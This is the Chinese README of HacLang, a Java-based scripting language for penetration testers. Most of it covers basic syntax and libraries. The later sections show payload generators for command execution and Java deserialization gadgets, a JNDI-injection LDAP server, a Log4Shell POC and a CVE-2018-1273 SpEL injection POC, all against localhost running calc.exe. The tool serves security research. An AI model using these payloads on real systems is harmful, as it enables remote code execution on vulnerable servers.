这是一个基于Java
的脚本语言,主要面向渗透测试与安全研究人员,提供了一些简单的内置库
- 实现基于状态机的词法分析
- 巴科斯范式(BNF)生成抽象语法树
- 递归遍历抽象语法树执行代码
为什么取名为HacLang
:A Language For Hackers
新建一个文件:1.h
并编写如下内容
print("hello world");
执行:java -jar HacLang.jar 1.h
类似Golang
的写法
a = 1;
b = 2;
if a+b == 3 {
// do something
} else {
// do something
}
支持while
循环
i = 0;
while i < 10 {
i = i + 1;
print(i);
}
类似Python
的写法
def test(a,b) {
if a > b {
return a;
} else {
return b;
}
}
print(test(1,2));
a = fun(b) {
print(b)
}
a("hello world");
类似Golang
的写法
def test() {
print(2);
}
go test();
类似Python
的写法
array = [1,2,3];
print(array);
str = ["test1","test2","test3"]
print(str);
支持简单的时间获取操作
// 程序运行当前时间
print(currentTime());
// 格式化后的当前时间
print(formatTime());
命令行输入操作
data = input();
print(data);
这是最重要的一个库,底层是HashMap
// new map
map = newMap();
// put
putMap(map,"key","value");
// get
data = getMap(map,"key");
print(data);
// clear
clearMap(map);
data = getMap(map,"key");
print(data);
用于类型转换
a = "1";
b = toInt(a);
c = toStr(b);
简单的文件读写操作
writeFile("test.txt","hello world");
data = readFile("test.txt");
print(data);
简单的打印函数,会根据输入的类型判断如何打印
a = "hello world";
print(a);
目前只提供计算长度的功能,会根据输入类型判断
a = "test";
print(length(a));
b = [1,2,3,4,5];
print(length(b));
引入base64
库即可进行编码解码操作
#include "base64"
data = "4ra1n";
enc = base64::encode(data);
print(enc);
dec = base64::decode(enc);
print(dec);
decStr = toStr(dec);
print(decStr);
一些常见的字符串操作
#include "string"
// isEmpty
test = "hello world";
if string::isEmpty(test)==false {
print("not null");
}
// contains
if string::contains(test,"world") {
print("contains world")
}
// split
split = string::split(test," ");
len = length(split);
i = 0;
while i<len {
print(split[i]);
i = i + 1;
}
// substr
sub = string::substr(test,1,4);
print(sub);
这也是最重要的库之一,基于okhttp
实现
支持直接get
或post
,也可以根据Burp
的请求文件做请求
#include "http"
#include "string"
// 请求头是Map类型
headers = newMap();
// 可以自行设置一些请求头(也可不设置)
putMap(headers,"User-Agent","4ra1n");
// URL
url = "http://127.0.0.1:8080";
// GET 请求
response = http::doGet(url,headers);
// POST 请求体
body = "username=1&password=2"
// 需要自行选择Content-Type
// 默认支持form和json两种(也是最常见的两种)
// form=application/x-www-form-urlencoded
// json=application/form
contentType = "form";
// POST 请求
http::doPost(url,headers,body,contentType);
// 响应码
code = getMap(response,"code");
print("response code is: "+code);
// 响应头也是Map类型
respHeaders = getMap(response,"headers");
// 从响应头中取值
connection = getMap(respHeaders,"Connection")
print("Connection: "+connection)
// 获得响应体
responseBody = getMap(response,"body");
if string::contains(responseBody,"Tomcat")==true {
print("Tomcat")
}
// 使用请求报文
req = readFile("1.txt");
http::doRequest(req);
用于渗透测试相关:生成命令执行的Payload
Java中直接执行命令会存在问题,所以需要特殊处理
#include "tool"
// 针对Bash的命令
payload = tool::getBashCommand("calc.exe");
print(payload);
// 一种特殊的Payload
payload = tool::getStringCommand("calc.exe");
print(payload);
// 针对Powershell的命令
payload = tool::getPowershellCommand("calc.exe");
print(payload);
// 执行命令
tool::exec(payload);
用于Java
反序列化漏洞安全研究,生成各种Gadget
的Payload
返回的字符串已对结果进行Base64
编码
#include "payload"
#include "tool"
cmd = tool::getPowershellCommand("calc.exe");
cc1 = payload::getCC1(cmd);
print(cc1);
cc2 = payload::getCC2(cmd);
print(cc2);
cc3 = payload::getCC3(cmd);
print(cc3);
cc4 = payload::getCC4(cmd);
print(cc4);
cc5 = payload::getCC5(cmd);
print(cc5);
cc6 = payload::getCC6(cmd);
print(cc6);
cc7 = payload::getCC7(cmd);
print(cc7);
cck1 = payload::getCCK1(cmd);
print(cck1);
cck2 = payload::getCCK2(cmd);
print(cck2);
cck3 = payload::getCCK3(cmd);
print(cck3);
cck4 = payload::getCCK4(cmd);
print(cck4);
这不是传统意义的LDAP
服务端,而是针对于JNDI
注入的服务端
#include "ldap"
#include "tool"
#include "http"
#include "base64"
// LDAP服务端口
ldapPort = 1389;
// HTTP CodeBase端口
httpPort = 8888;
// 获取命令
cmd = tool::getPowershellCommand("calc.exe");
// 启动LDAP服务
ldap::startServer(ldapPort,httpPort,cmd);
// 针对于Log42Shell漏洞的POC
headers = newMap();
putMap(headers,"User-Agent","4ra1n");
url = "http://127.0.0.1:8080/test?message=";
payload = "${jndi:ldap://127.0.0.1:1389/cmd}";
payload = base64::encode(payload);
url = url + payload;
response = http::doGet(url,headers);
案例一:针对CVE-2018-1273
的POC
#include "http"
// CVE-2018-1273
// https://xz.aliyun.com/t/2269
def poc(){
// application/x-www-form-urlencoded alias
contentType = "form";
// request body (only in post method)
body = "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc.exe\")]";
// do http post request
http::doPost("http://127.0.0.1:8080/users",newMap(),body,contentType);
}
poc();
一些底层的代码参考:《两周自制脚本语言》(人民邮电出版社)
自己完善了书中的一些不足之处,并加入很多新的功能